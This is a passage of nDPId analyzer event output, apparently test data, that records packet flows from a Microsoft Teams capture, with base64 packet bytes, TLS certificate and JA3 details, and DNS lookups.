+00411{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1168,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":468088,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG+H\/AqAEGNHJMMOyAAbuusi\/ZlL5PdVAQH9KctgAA"} +00411{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1169,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":468092,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG+H\/AqAEGNHJMMOyAAbuusi\/ZlL5QglAQH8qbsQAA"} +00628{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1170,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":472525,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"EBMx8Tl2KDc3AG3ICABFAADGAABAAEAG9+HAqAEGNHJMMOyAAbuusi\/ZlL5QglAYIAAxQAAAFgMDAGYQAABiYQSk1SzOlNkn3TvkAIK+ewa3CfPyMYY0yJbfZF87dVti68QZu5uKzYQwlZozCfKM9LUBL\/N\/TsCPypM31+PQZMGfyB7ATYTUNeOASoLSrG0zFHIJVOVquOk3QmxnON+\/xzMUAwMAAQEWAwMAKAAAAAAAAAAAKlU1UkpvLQOv5JywXfbapExhtnFglvQPLDdDEhhrR70="} +00537{"flow_id":28,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1171,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":482268,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"EBMx8Tl2KDc3AG3ICABFAACFAABAAEAG+CLAqAEGNHJMMOyAAbuusjB3lL5QglAYIAC9hAAAFwMDAFgAAAAAAAAAATv\/fmkNA8srfTw9POz6SHJWPHORYN0dLo05lhLI75yvylmYmY82WgzQ6aOFftCYSMNwJ3JMKQHh4xoNHaEnPJFLKwI0e8zL22wOzWYZBdcI"} +00424{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1173,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":484937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0cKdAAGwGWts0ck0hwKgBBgG77H8VHmMm9rF61YAQBAVitAAAAQEICmEGtIQwhK6s"} +02366{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1182,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":556973,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUcKhAAGwGVTo0ck0hwKgBBgG77H8VHmMm9rF61YAQBAW4eQAAAQEICmEGtMwwhK6sFgMDEGYCAABRAwNemFWSSRK4\/xQ6iMc5QRoeyZdMxKTzVKhyjjD6\/QuLQCCjQgAAk2B6jpiMP4aNnNPzeGx44\/6X3U2RH3y64O03zsAwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02360{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1183,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":557183,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUcKlAAGwGVTk0ck0hwKgBBgG77H8VHmjG9rF61YAQBAW7MAAAAQEICmEGtMwwhK6sLnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00425{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1184,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":557246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex\/Abv2sXrVFR5uZoAQD9NK3QAAAQEICjCEry1hBrTM"} +02215{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1185,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":557307,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfcKpAAGwGVa00ck0hwKgBBgG77H8VHm5m9rF61YAYBAVk8wAAAQEICmEGtMwwhK6sBM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdIDfWWwwgxiTFT55Er7HGo41C+OpZwd7\/OsY+usepf0tUBAEBACC92gd6UwTVfl0ckkoWFysP\/qHVoA38Pawo6\/4V7MR1X\/SCKBW84BAY597xBLPkkL3MNo7qeLVUG7snH2EW5DBKKNaE0iQRZniHtEt0r4H4+eshqsOgXo5S+v1XTK8F4rXQk\/Ss2RJtNLsjfK+sYQaTu8Ccn4OunImZAIMFFAi3mRTek4f8o0qlkMqcCaxcB38MFjQzOCTHltKiMBSJIAz4SR0XttE13q2wsa8AlCxCsrJlltMqQbqDBWkePd66NCb2I64Tjma+ae\/ZFHoyZwKeS5oI7IGnK5dXVKDc6kGe7tQSTERt6eb7P1a\/SpSk1zZJhfDRFm6O\/2I3Ley6340OAAAA"} +01300{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1185,"source":"teams.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":8,"flow_first_seen":1587041682420,"flow_last_seen":1587041682557,"flow_tot_l4_data_len":4673,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"52.114.77.33","dst_ip":"192.168.1.6","src_port":443,"dst_port":60543,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +00425{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1186,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":557342,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex\/Abv2sXrVFR5zkYAQD6lF3AAAAQEICjCEry1hBrTM"} +00556{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1187,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":558763,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIex\/Abv2sXrVFR5zkYAYEABZEQAAAQEICjCEry5hBrTMFgMDACUQAAAhIK\/sgoqbP1FUk5z3uBhISmpZe7zNM7WCfNmacEg0wRVeFAMDAAEBFgMDACgAAAAAAAAAAJIf4wDKViT\/AGT8JuQxf\/b3YbtHGUgi6ofrTu7kIdPE"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1189,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":611214,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1189,"source":"teams.pcap","alias":"nDPId-test","type":38} +00425{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1190,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":625355,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0cKtAAGwGWtc0ck0hwKgBBgG77H8VHnOR9rF7MoAQBAVQ3QAAAQEICmEGtREwhK8u"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1193,"source":"teams.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1587041682668,"flow_last_seen":0,"flow_tot_l4_data_len":66,"flow_min_l4_data_len":66,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57530,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1193,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":668456,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"EBMx8Tl2KDc3AG3ICABFAABW2rQAAP8RXYrAqAEGwKgBAeC6ADUAQqKILzcBAAABAAAAAAAACHByZXNlbmNlCHNlcnZpY2VzA3NmYg50cmFmZmljbWFuYWdlcgNuZXQAAAEAAQ=="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1193,"source":"teams.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1587041682668,"flow_last_seen":0,"flow_tot_l4_data_len":66,"flow_min_l4_data_len":66,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57530,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"presence.services.sfb.trafficmanager.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00583{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1201,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":697730,"pkt_caplen":181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":181,"pkt_l4_len":147,"pkt":"KDc3AG3IEBMx8Tl2CABFAACny9dAADkR8hbAqAEBwKgBBgA14LoAkwAALzeBgAABAAIAAAAACHByZXNlbmNlCHNlcnZpY2VzA3NmYg50cmFmZmljbWFuYWdlcgNuZXQAAAEAAcAMAAUAAQAAASwANRRhLXVwcy1wcmVzZW5jZTQtcHJvZAtub3J0aGV1cm9wZQhjbG91ZGFwcAVhenVyZQNjb20AwEYAAQABAAAABgAENHJNOg=="} +00685{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1201,"source":"teams.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":2,"flow_first_seen":1587041682668,"flow_last_seen":1587041682697,"flow_tot_l4_data_len":213,"flow_min_l4_data_len":66,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":106,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":57530,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"presence.services.sfb.trafficmanager.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.77.58"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1202,"source":"teams.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1587041682698,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.58","src_port":60545,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1202,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":698689,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG913AqAEGNHJNOuyBAbtgCOGqAAAAALAC\/\/\/jdgAAAgQFtAEDAwUBAQgKMISvtwAAAAAEAgAA"} +00495{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":711586,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABncKxAAGwGWqM0ck0hwKgBBgG77H8VHnOR9rF7MoAYBAUBLAAAAQEICmEGtWcwhK8uFAMDAAEBFgMDACgAAAAAAAAAACnDPFg8JobiAasYkqEjH3+CRacPkKTu59duD23yppKN"} +00427{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1204,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":711680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex\/Abv2sXsyFR5zxIAQD\/5DxQAAAQEICjCEr8RhBrVn"} +02362{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1205,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":713948,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex\/Abv2sXsyFR5zxIAQEABGIwAAAQEICjCEr8ZhBrVnFwMDQBgAAAAAAAAAAW2TdgB90fLaE+l2mrykb9hvYu939KmveqzgkF0ciEQXQY9a1xArbH7Orn\/bQOMMGotiSYyD6MjHgZ3hb9wFSqufWKVzzWXKjCLkZRswQSVQs0usMW1nBbLytPxUwwF9hz7mzsypTSvNYXwzZj9Nw2kaq2KASnOWBrZoUncgmQHKzqRWxoRDJsPwWnLP8nai4rtUoR3pX9JfMVJ9kJmHsx6Is9gHyhqXOI5QnEwVM0mBf4p06i3EuefZoqTOTKc\/lMpV3d7k1xWBT8YQFSJdqLJMAsV+pXDTHjfZHHNxcKV+Cs0IWXYEFfpO5gkHYz2Cj+UJyk1MlAAXInKiekWnizUeSMNVxbmhuqvVzzFjYaydAZR5y8jBWiwUNpzWlyMe4aC7lrpnabAcAyD9dBnEuwtHtrrVuB0hfF+fAZMCKZd2ruzlm+pNxjNUwwKkkMDJxPtluPObrfBg7Kvoe5G0kXHDjRRfsRpzLoE+6eqyPCBdu9FUpDvvO5WEkWfxN6u\/axUC145j8W+YGBowx03GhFQ99jOA2lYC383lvWl5s\/yIjv+znbjeAqpwr44dC\/qm2+5yAYsAlwh+Ne+DI7ArhwFpx3WuAAlgFqchf7I9n91ViX3sdDNtyJV\/\/ht+VQidC19xPKjR7XXVO4Qdvg9AA1TVRZ2WFLfzTA5os4pAULwQhPBRQmmPadjN50kGNqTVaXa06gTtPDKjiskmZGwIELAK12bjXmG+IE\/CBGgdV3cZz4qE245ayZxWvUITsJSQQ6LyisnU72q\/LWADJ2eitkpeQzQxwZ8x64SilFz69HAHvWjrN\/fq7t9UPNCb9bdET10yT6zyxX6WTUd52coU9HR2g1JOfzn\/\/tkuFyZc2vR9SoIByp6fiu+QFEkYBzREXL5pkwfKe\/eLfSrXSfSb9al2DF0B4paBSPfyz0rYJ6OrFrwWlXrKajNLyzDwBjhH7yXrWN28UmqRFAUN93OWfZiiFh+vMswzguHncaqaRyLvUEJJUgCCkEEguOiolwkk3QI0HbqNPtAKzOZlpRrr0+LPTR242d5BzGjuMVVf3UwvsTaCGUwvW+rOMjZkH+ro4RO93OOBGkWDxX3sSpaRowzN9PbS6x7jrMhNHVBsQ8TldDJFhw19yTc4Kb2zE83r7L4bFRX99JlXlcJQHeW7ypKHpJ9Lqw1ONfZp6\/Svhs13ISgHvVVCWDIMU0BPQ5MRRTFS5JgOhdXyE\/5fk6yCZ09qEDZ329FC6ja5Czf+OoTKcFxmu83zfqDUqpWyuMz8mcYJDZz3nWINwdE6zaSprtWyg6m1El7FPLYldV6ct3tpSj7fT4jtQ33hDWLbBUWoUj\/2NG0e6z6gJZ3VSwFpnBEj18W5PqXbmifKO4a83GoK1bqqJu+cFUaoX153xup5adH2cHQ\/E8PjH1e4eIIEK+DxEB1g7vywTMPpEaCeHINwVclqgj\/wUFNcuIESWloQTKHzxIGpGOeUMa1ZEirIWXTjyF3CM4g8W8dESGc7svXR